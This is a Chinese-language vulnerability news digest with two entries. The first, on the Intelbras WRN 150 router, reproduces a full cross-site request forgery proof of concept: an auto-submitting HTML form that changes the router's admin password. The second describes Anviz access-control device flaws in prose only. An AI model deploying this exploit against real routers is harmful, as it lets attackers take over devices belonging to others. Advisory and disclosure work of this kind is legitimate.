资讯

1、Intelbras WRN 150 安全漏洞

Intelbras WRN 150是波兰Intelbras公司的一款无线路由器。 Intelbras WRN 150 1.0.18版本中存在跨站请求伪造漏洞。攻击者可利用该漏洞更改密码。

Intelbras WRN 150 1.0.18 devices allow CSRF via GO=system_password.asp to the goform/SysToolChangePwd URI to change a password.

  1. Exploit Title: Intelbras Router WRN150 1.0.18 - Cross-Site Request Forgery
  2. Date: 2019-10-25
  3. Exploit Author: Prof. Joas Antonio
  4. Vendor Homepage: https://www.intelbras.com/pt-br/
  5. Software Link: http://en.intelbras.com.br/node/25896
  6. Version: 1.0.18
  7. Tested on: Windows
  8. CVE : N/A
  9. ####################
  10. # PoC1: https://www.youtube.com/watch?v=V188HHDMbGM&feature=youtu.be
  11. <html>
  12.   <body>
  13.     <form action="http://10.0.0.1/goform/SysToolChangePwd" method="POST">
  14.     <input type="hidden" name="GO" value="system_password.asp">
  15.     <input type="hidden" name="SYSPSC" value="0">
  16.           <input class="text" type="password" name="SYSOPS" value="hack123"/> 
  17.     <input class="text" type="password" name="SYSPS" value="mrrobot"/> 
  18.     <input class="text" type="password" name="SYSPS2" value="mrrobot"/> 
  19.     </form>
  20.     <script>
  21.       document.forms[0].submit();
  22.     </script>
  23.   </body>
  24. </html>
      <br />2、[Anviz access control devices 安全漏洞](https://www.anquanke.com/vul/id/1845345)

Anviz access control devices allow unverified password change which allows remote attackers to change the administrator password without prior authentication.

Anviz access control devices are vulnerable to replay attacks which could allow attackers to intercept and replay open door requests.

Anviz access control devices perform cleartext transmission of sensitive information (passwords/pins and names) when replying to query on port tcp/5010.

Anviz access control devices allow remote attackers to issue commands without a password.

Anviz access control devices expose private Information (pin code and name) by allowing remote attackers to query this information without credentials via port tcp/5010.

Anviz access control devices expose credentials (names and passwords) by allowing remote attackers to query this information without credentials via port tcp/5010.